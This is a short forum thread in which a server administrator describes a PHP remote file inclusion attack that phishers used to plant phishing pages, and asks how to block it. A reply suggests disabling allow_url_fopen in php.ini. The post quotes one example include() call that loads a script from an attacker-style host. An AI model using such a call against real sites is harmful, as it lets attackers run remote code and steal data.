Heritz

Well-Known Member
Aug 12, 2006
45
0
156
Hi all,

Recently my company server has been attacked by phishers who are using a website vulnerabilty to upload files and get bank accounts information. We have been contacted by the bank and we fixed the problem within the website but I still got a question:

The hack attempt was done using the remote include ability of PHP, I mean they exploded the include() function using something like include('http://myhackingwebsite.com/script.txt'); and then they uploaded the phishing files using system commands.

I denied the system commands in my php.ini but I would also like to know how to avoid remote includes on PHP. I have enabled the open_basedir for all the sites, but as far as I know, open_basedir only affects file management functions, not includes.

Any suggestion? Thanks in advance!
 

flash7

Well-Known Member
Feb 16, 2004
201
0
166
php.ini

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
allow_url_fopen = Off